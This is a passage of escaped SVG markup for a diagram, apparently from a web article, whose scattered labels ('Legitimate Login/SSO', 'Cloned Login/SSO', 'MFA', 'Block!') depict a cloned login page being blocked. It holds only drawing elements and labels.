&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;y&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;280&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;52&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;h&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;388&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;288&#39; y=&#39;420&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;296&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;296&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;296&#39; y=&#39;116&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;296&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;296&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;296&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;296&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;304&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;304&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;304&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;304&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;304&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;312&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;P&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;312&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;312&#39; y=&#39;148&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;312&#39; y=&#39;180&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;312&#39; y=&#39;244&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;k&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;312&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;320&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;320&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;320&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;328&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;328&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;328&#39; y=&#39;276&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;328&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;C&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;336&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;336&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;336&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;344&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;344&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;344&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;352&#39; y=&#39;4&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;352&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;352&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;352&#39; y=&#39;548&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;B&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;360&#39; y=&#39;20&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;=&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;360&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;L&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;360&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;C&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;360&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;360&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;L&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;360&#39; y=&#39;548&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;l&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;196&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;U&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;368&#39; y=&#39;548&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;376&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;376&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;376&#39; y=&#39;196&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;s&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;376&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;376&#39; y=&#39;484&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;M&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;376&#39; y=&#39;548&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;c&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;196&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;L&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;484&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;F&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;384&#39; y=&#39;548&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;k&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;196&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;r&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;484&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;A&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;392&#39; y=&#39;548&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;400&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;400&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;400&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;400&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;400&#39; y=&#39;548&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;d&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;408&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;m&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;408&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;408&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;m&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;408&#39; y=&#39;548&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;!&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;416&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;416&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;L&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;416&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;416&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;a&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;424&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;424&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;424&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;/&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;424&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;t&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;432&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;432&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;432&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;432&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;e&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;440&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;440&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;448&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;L&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;448&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;448&#39; y=&#39;324&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;O&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;448&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;L&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;456&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;456&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;/&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;456&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;o&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;464&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;464&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;464&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;g&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;472&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;472&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;472&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;i&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;480&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;480&#39; y=&#39;132&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;O&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;480&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;n&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;488&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;/&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;488&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;/&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;496&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;496&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;504&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;504&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;S&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;512&#39; y=&#39;68&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;O&lt;/text&gt;
&lt;text text-anchor=&#39;middle&#39; x=&#39;512&#39; y=&#39;404&#39; fill=&#39;currentColor&#39; style=&#39;font-size:1em&#39;&gt;O&lt;/text&gt;
&lt;/g&gt;

    &lt;/svg&gt;
  
&lt;/div&gt;
&lt;p&gt; &lt;/p&gt;



&lt;div class=&#34;goat svg-container &#34;&gt;
  
    &lt;svg
      xmlns=&#34;http://www.w3.org/2000/svg&#34;
      font-family=&#34;Menlo,Lucida Console,monospace&#34;
      
        viewBox=&#34;0 0 752 601&#34;
      &gt;
      &lt;g transform=&#39;translate(8,16)&#39;&gt;
&lt;path d=&#39;M 240,48 L 304,48&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 624,48 L 736,48&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 328,64 L 600,64&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 240,80 L 304,80&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 624,80 L 736,80&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 192,160 L 328,160&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 192,208 L 328,208&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 208,288 L 352,288&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 192,336 L 336,336&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 208,432 L 304,432&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 208,464 L 304,464&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 208,544 L 320,544&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 208,576 L 320,576&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 192,160 L 192,208&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 192,304 L 192,336&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 208,432 L 208,464&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 208,544 L 208,576&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 240,48 L 240,80&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 256,96 L 256,144&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 256,224 L 256,272&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 256,352 L 256,416&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 256,480 L 256,528&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 296,96 L 296,144&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 296,224 L 296,272&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 304,48 L 304,80&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 304,432 L 304,464&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 320,544 L 320,576&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 328,160 L 328,208&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 352,288 L 352,320&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 624,48 L 624,80&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 736,48 L 736,80&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 256,88 L 256,96&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 256,216 L 256,224&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 256,344 L 256,352&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 256,472 L 256,480&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 296,144 L 296,152&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 296,272 L 296,280&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;path d=&#39;M 256,144 L 256,152&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;polygon points=&#39;272.000000,144.000000 260.000000,138.399994 260.000000,149.600006&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(90.000000, 256.000000, 144.000000)&#39;&gt;&lt;/polygon&gt;
&lt;path d=&#39;M 256,272 L 256,280&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;polygon points=&#39;272.000000,272.000000 260.000000,266.399994 260.000000,277.600006&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(90.000000, 256.000000, 272.000000)&#39;&gt;&lt;/polygon&gt;
&lt;path d=&#39;M 256,416 L 256,424&#39; fill=&#39;none&#39; stroke=&#39;currentColor&#39;&gt;&lt;/path&gt;
&lt;polygon points=&#39;272.000000,416.000000 260.000000,410.399994 260.000000,421.600006&#39; fill=&#39;currentColor&#39; transform=&#39;rotate(90.000000, 256.000000, 416.000000)&#39;&gt;&lt;/polygon&gt;
